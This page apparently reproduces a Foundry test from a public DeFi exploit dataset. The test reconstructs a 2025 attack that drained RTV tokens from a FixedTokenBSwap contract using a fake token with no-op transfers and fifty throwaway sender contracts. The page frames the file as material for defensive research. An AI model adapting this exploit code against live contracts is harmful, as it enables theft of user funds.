Skip to content
THREATWIRE

Public reproduction file

src/test/2025-06/FixedTokenBSwap_exp.sol

Public reproduction file for dataset entry FixedTokenBSwap.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-06/FixedTokenBSwap_exp.sol157 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 2,203.63 USD
8// Attacker : 0x5FF8645BbC6c8B4390aA228A3e8bf08240F333b4
9// Attack Contract : 0xDc1d6a8c90735eABa3d34395B9FFe160E1daAc02
10// Vulnerable Contract : 0x746b3d7E9953cDaa8C4d4Fd3ee24fE133f459F32
11// Attack Tx : https://etherscan.io/tx/0x5db22f0edc1a9eda5343573da27dd2168c8a36a7f948401db76e22ba1fab71ea
12//
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x746b3d7E9953cDaa8C4d4Fd3ee24fE133f459F32#code
15//
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/1280
18//
19// Attack summary: FixedTokenBSwap.swap trusts UniswapV2 getAmountsIn for a user-supplied path and then sends
20// a fixed 10 RTV to msg.sender after tokenA.transferFrom succeeds. The attacker created a fake token whose
21// balanceOf made a fresh RTV/fake-token pair quote expensive fake-token input, while transferFrom was a no-op.
22// Fresh helper contracts bypassed the one-swap-per-address daily gate and drained RTV from the swap contract.
24address constant ATTACKER = 0x5FF8645BbC6c8B4390aA228A3e8bf08240F333b4;
25address constant ATTACK_CONTRACT = 0xDc1d6a8c90735eABa3d34395B9FFe160E1daAc02;
26address constant FIXED_TOKEN_B_SWAP = 0x746b3d7E9953cDaa8C4d4Fd3ee24fE133f459F32;
27address constant RTV_TOKEN = 0x61e24Ce4efe61EB2efd6AC804445df65f8032955;
28address constant RTV_IMPLEMENTATION = 0xadE5f7f7a3f8DB0A9256567e55fF793e3c9bBF14;
29address constant HISTORICAL_FAKE_TOKEN = 0x76C611e34F9CA7aAAd50382ada61740Ec365d9f2;
30address constant HISTORICAL_RTV_WETH_PAIR = 0x877E453c453132f3f812984184A20241bBA8dC39;
31address constant UNISWAP_V2_FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
32address constant UNISWAP_V2_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
33address constant WETH_TOKEN = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
35interface IFixedTokenBSwap {
36 function swap(address[] calldata path, uint256 amountInMax) external;
39interface ISyncPair {
40 function sync() external;
43contract ContractTest is BaseTestWithBalanceLog {
44 function setUp() public {
45 uint256 forkBlock = 22_710_987;
46 vm.createSelectFork("mainnet", forkBlock);
48 multiAssetLog = true;
49 attacker = ATTACKER;
50 _addFundingToken(address(0));
51 _addFundingToken(RTV_TOKEN);
53 vm.label(ATTACKER, "Attacker");
54 vm.label(ATTACK_CONTRACT, "Historical Attack Contract");
55 vm.label(FIXED_TOKEN_B_SWAP, "FixedTokenBSwap");
56 vm.label(RTV_TOKEN, "RTV Proxy");
57 vm.label(RTV_IMPLEMENTATION, "RTV Implementation");
58 vm.label(HISTORICAL_FAKE_TOKEN, "Historical Fake Token");
59 vm.label(HISTORICAL_RTV_WETH_PAIR, "RTV/WETH Pair");
60 vm.label(UNISWAP_V2_ROUTER, "Uniswap V2 Router");
61 }
63 function testExploit() public balanceLog {
64 uint256 seed = 0.01 ether;
65 uint256 victimRtvBefore = IERC20(RTV_TOKEN).balanceOf(FIXED_TOKEN_B_SWAP);
66 uint256 attackerRtvBefore = IERC20(RTV_TOKEN).balanceOf(ATTACKER);
68 assertGt(victimRtvBefore, 500 ether);
69 assertEq(IERC20(RTV_TOKEN).balanceOf(ATTACKER), 0);
71 // step 1: fund the attacker with the same 0.01 ETH seed used by the historical constructor.
72 vm.deal(ATTACKER, seed);
73 uint256 attackerEthBefore = ATTACKER.balance;
75 // step 2: deploy a source-level reconstruction of the initcode attack.
76 vm.prank(ATTACKER);
77 new FixedTokenBSwapAttack{value: seed}(payable(ATTACKER));
79 // step 3: the attacker keeps ETH profit plus the final 10 RTV that was not sold back to ETH.
80 uint256 attackerEthAfter = ATTACKER.balance;
81 uint256 attackerRtvProfit = IERC20(RTV_TOKEN).balanceOf(ATTACKER) - attackerRtvBefore;
83 assertGt(attackerEthAfter, attackerEthBefore);
84 assertGt(attackerEthAfter - attackerEthBefore, 0.4 ether);
85 assertEq(attackerRtvProfit, 10 ether);
86 assertEq(victimRtvBefore - IERC20(RTV_TOKEN).balanceOf(FIXED_TOKEN_B_SWAP), 500 ether);
87 }
90contract FixedTokenBSwapAttack {
91 constructor(
92 address payable profitReceiver
93 ) payable {
94 address[] memory path = new address[](2);
95 path[0] = WETH_TOKEN;
96 path[1] = RTV_TOKEN;
98 // Buy enough RTV to seed a fake-token/RTV pair used only as a pricing oracle.
99 IUniswapV2Router(payable(UNISWAP_V2_ROUTER)).swapExactETHForTokens{value: msg.value}(
100 0, path, address(this), block.timestamp
101 );
103 FakeToken fakeToken = new FakeToken();
104 address fakePair = IUniswapV2Factory(UNISWAP_V2_FACTORY).createPair(address(fakeToken), RTV_TOKEN);
106 IERC20(RTV_TOKEN).transfer(fakePair, IERC20(RTV_TOKEN).balanceOf(address(this)));
107 ISyncPair(fakePair).sync();
109 // FixedTokenBSwap allows one swap per sender per day, so use fresh senders.
110 for (uint256 i = 0; i < 50; i++) {
111 new FixedTokenBSwapSingleSwap(address(fakeToken), address(this));
112 }
114 IERC20(RTV_TOKEN).approve(UNISWAP_V2_ROUTER, type(uint256).max);
115 path[0] = RTV_TOKEN;
116 path[1] = WETH_TOKEN;
117 IUniswapV2Router(payable(UNISWAP_V2_ROUTER)).swapExactTokensForETH(
118 490 ether, 0, path, address(this), block.timestamp
119 );
121 IERC20(RTV_TOKEN).transfer(profitReceiver, IERC20(RTV_TOKEN).balanceOf(address(this)));
122 profitReceiver.transfer(address(this).balance);
123 }
125 receive() external payable {}
128contract FixedTokenBSwapSingleSwap {
129 constructor(address fakeToken, address receiver) {
130 address[] memory path = new address[](2);
131 path[0] = fakeToken;
132 path[1] = RTV_TOKEN;
134 IFixedTokenBSwap(FIXED_TOKEN_B_SWAP).swap(path, type(uint256).max);
135 IERC20(RTV_TOKEN).transfer(receiver, IERC20(RTV_TOKEN).balanceOf(address(this)));
137 selfdestruct(payable(receiver));
138 }
141contract FakeToken {
142 function balanceOf(address) external pure returns (uint256) {
143 return 100 ether;
144 }
146 function transfer(address, uint256) external pure returns (bool) {
147 return true;
148 }
150 function transferFrom(address, address, uint256) external pure returns (bool) {
151 return true;
152 }
154 function approve(address, uint256) external pure returns (bool) {
155 return true;
156 }

Analysis

Dataset entry

Public Foundry test for “FixedTokenBSwap” (2025-06-15). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x5ff8645bbc6c8b4390aa228a3e8bf08240f333b4

  • Attack Contract

    0xdc1d6a8c90735eaba3d34395b9ffe160e1daac02

  • Vulnerable Contract

    0x746b3d7e9953cdaa8c4d4fd3ee24fe133f459f32

  • Attack Tx

    0x5db22f0edc1a9eda5343573da27dd2168c8a36a7f948401db76e22ba1fab71ea

File record

Name
FixedTokenBSwap
Path
src/test/2025-06/FixedTokenBSwap_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
209853fde3679f7d78f3acd117f7090edaebfb80
Language
Solidity
Size
158 lines
Date
2025-06-15
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-06/FixedTokenBSwap_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 209853fde3679f7d78f3acd117f7090edaebfb80, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.